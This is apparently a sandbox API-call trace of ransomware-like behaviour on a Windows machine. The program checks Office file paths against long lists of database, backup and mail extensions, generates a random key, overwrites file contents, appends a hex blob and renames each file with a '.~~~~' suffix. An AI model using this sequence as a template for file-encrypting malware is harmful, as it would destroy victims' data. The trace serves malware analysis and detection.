	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".myd") returned 0x0
	[0140.499] lstrlenW (lpString=".DTXS") returned 5
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.499] lstrlenW (lpString=".ckp") returned 4
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".ckp") returned 0x0
	[0140.499] lstrlenW (lpString=".dbt") returned 4
	[0140.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dbt") returned 0x0
	[0140.500] lstrlenW (lpString=".db") returned 3
	[0140.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".db") returned 0x0
	[0140.500] lstrlenW (lpString=".TXT") returned 4
	[0140.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".TXT") returned 0x0
	[0140.500] lstrlenW (lpString=".MDF") returned 4
	[0140.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".MDF") returned 0x0
	[0140.500] lstrlenW (lpString=".bdb") returned 4
	[0140.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".bdb") returned 0x0
	[0140.500] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.500] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.501] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.502] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26049182086) returned 1
	[0140.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd257a30, dwHighDateTime=0x1d60e1e)) 
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d340
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d340 | out: hHeap=0x300000) returned 1
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f37e8
	[0140.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0140.503] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.503] GetLastError () returned 0x0
	[0140.503] GetLastError () returned 0x0
	[0140.503] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.503] GetLastError () returned 0x0
	[0140.503] GetLastError () returned 0x0
	[0140.504] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x313b, lpOverlapped=0x0) returned 1
	[0140.506] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffcec5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.506] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x313b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x313b, lpOverlapped=0x0) returned 1
	[0140.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.506] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.507] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.507] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.507] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.507] CloseHandle (hObject=0xc4) returned 1
	[0140.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0140.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif.~~~~")) returned 1
	[0140.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0140.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.510] GetLastError () returned 0x0
	[0140.510] RtlWakeConditionVariable () returned 0x0
	[0140.510] GetCurrentThreadId () returned 0x9f4
	[0140.510] GetCurrentThreadId () returned 0x9f4
	[0140.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5030 | out: hHeap=0x300000) returned 1
	[0140.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d308 | out: hHeap=0x300000) returned 1
	[0140.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5030
	[0140.510] lstrlenW (lpString=".scr") returned 4
	[0140.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".scr") returned 0x0
	[0140.510] lstrlenW (lpString=".cmd") returned 4
	[0140.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".cmd") returned 0x0
	[0140.510] lstrlenW (lpString=".dll") returned 4
	[0140.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dll") returned 0x0
	[0140.510] lstrlenW (lpString=".bat") returned 4
	[0140.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".bat") returned 0x0
	[0140.511] lstrlenW (lpString=".cpl") returned 4
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".cpl") returned 0x0
	[0140.511] lstrlenW (lpString=".sys") returned 4
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".sys") returned 0x0
	[0140.511] lstrlenW (lpString=".msc") returned 4
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".msc") returned 0x0
	[0140.511] lstrlenW (lpString=".com") returned 4
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".com") returned 0x0
	[0140.511] lstrlenW (lpString=".lnk") returned 4
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".lnk") returned 0x0
	[0140.511] lstrlenW (lpString=".msp") returned 4
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".msp") returned 0x0
	[0140.511] lstrlenW (lpString=".pif") returned 4
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".pif") returned 0x0
	[0140.511] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.513] lstrlenW (lpString=".sqb") returned 4
	[0140.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".sqb") returned 0x0
	[0140.513] lstrlenW (lpString=".ost") returned 4
	[0140.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".ost") returned 0x0
	[0140.513] lstrlenW (lpString=".txt") returned 4
	[0140.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".txt") returned 0x0
	[0140.513] lstrlenW (lpString=".mdt") returned 4
	[0140.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".mdt") returned 0x0
	[0140.513] lstrlenW (lpString=".BDB") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".BDB") returned 0x0
	[0140.514] lstrlenW (lpString=".eql") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".eql") returned 0x0
	[0140.514] lstrlenW (lpString=".DBF") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DBF") returned 0x0
	[0140.514] lstrlenW (lpString=".EQL") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".EQL") returned 0x0
	[0140.514] lstrlenW (lpString=".FDB") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".FDB") returned 0x0
	[0140.514] lstrlenW (lpString=".EDB") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".EDB") returned 0x0
	[0140.514] lstrlenW (lpString=".DACPAC") returned 7
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.514] lstrlenW (lpString=".VHD") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".VHD") returned 0x0
	[0140.514] lstrlenW (lpString=".DBV") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DBV") returned 0x0
	[0140.514] lstrlenW (lpString=".dacpac") returned 7
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.514] lstrlenW (lpString=".sdf") returned 4
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".sdf") returned 0x0
	[0140.514] lstrlenW (lpString=".accdb") returned 6
	[0140.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".accdb") returned 0x0
	[0140.514] lstrlenW (lpString=".DBX") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DBX") returned 0x0
	[0140.515] lstrlenW (lpString=".MDT") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".MDT") returned 0x0
	[0140.515] lstrlenW (lpString=".SQB") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".SQB") returned 0x0
	[0140.515] lstrlenW (lpString=".vhd") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".vhd") returned 0x0
	[0140.515] lstrlenW (lpString=".bac") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".bac") returned 0x0
	[0140.515] lstrlenW (lpString=".mdf") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".mdf") returned 0x0
	[0140.515] lstrlenW (lpString=".BAK") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".BAK") returned 0x0
	[0140.515] lstrlenW (lpString=".BAC") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".BAC") returned 0x0
	[0140.515] lstrlenW (lpString=".dbs") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dbs") returned 0x0
	[0140.515] lstrlenW (lpString=".vhdx") returned 5
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.515] lstrlenW (lpString=".NDF") returned 4
	[0140.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".NDF") returned 0x0
	[0140.515] lstrlenW (lpString=".dat") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dat") returned 0x0
	[0140.516] lstrlenW (lpString=".DBS") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DBS") returned 0x0
	[0140.516] lstrlenW (lpString=".CKP") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".CKP") returned 0x0
	[0140.516] lstrlenW (lpString=".edb") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".edb") returned 0x0
	[0140.516] lstrlenW (lpString=".PST") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".PST") returned 0x0
	[0140.516] lstrlenW (lpString=".dbf") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dbf") returned 0x0
	[0140.516] lstrlenW (lpString=".SQL") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".SQL") returned 0x0
	[0140.516] lstrlenW (lpString=".pst") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".pst") returned 0x0
	[0140.516] lstrlenW (lpString=".dbv") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dbv") returned 0x0
	[0140.516] lstrlenW (lpString=".SDF") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".SDF") returned 0x0
	[0140.516] lstrlenW (lpString=".dtxs") returned 5
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.516] lstrlenW (lpString=".db3") returned 4
	[0140.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".db3") returned 0x0
	[0140.517] lstrlenW (lpString=".OST") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".OST") returned 0x0
	[0140.517] lstrlenW (lpString=".dbx") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dbx") returned 0x0
	[0140.517] lstrlenW (lpString=".DB3") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DB3") returned 0x0
	[0140.517] lstrlenW (lpString=".DAT") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DAT") returned 0x0
	[0140.517] lstrlenW (lpString=".VHDX") returned 5
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.517] lstrlenW (lpString=".ndf") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".ndf") returned 0x0
	[0140.517] lstrlenW (lpString=".DB") returned 3
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DB") returned 0x0
	[0140.517] lstrlenW (lpString=".sql") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".sql") returned 0x0
	[0140.517] lstrlenW (lpString=".MYD") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".MYD") returned 0x0
	[0140.517] lstrlenW (lpString=".DBT") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DBT") returned 0x0
	[0140.517] lstrlenW (lpString=".ACCDB") returned 6
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.517] lstrlenW (lpString=".fdb") returned 4
	[0140.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".fdb") returned 0x0
	[0140.517] lstrlenW (lpString=".bak") returned 4
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".bak") returned 0x0
	[0140.518] lstrlenW (lpString=".myd") returned 4
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".myd") returned 0x0
	[0140.518] lstrlenW (lpString=".DTXS") returned 5
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.518] lstrlenW (lpString=".ckp") returned 4
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".ckp") returned 0x0
	[0140.518] lstrlenW (lpString=".dbt") returned 4
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".dbt") returned 0x0
	[0140.518] lstrlenW (lpString=".db") returned 3
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".db") returned 0x0
	[0140.518] lstrlenW (lpString=".TXT") returned 4
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".TXT") returned 0x0
	[0140.518] lstrlenW (lpString=".MDF") returned 4
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".MDF") returned 0x0
	[0140.518] lstrlenW (lpString=".bdb") returned 4
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".bdb") returned 0x0
	[0140.518] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.519] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.556] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.557] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.557] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26054714739) returned 1
	[0140.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd2effb0, dwHighDateTime=0x1d60e1e)) 
	[0140.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d2d0
	[0140.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
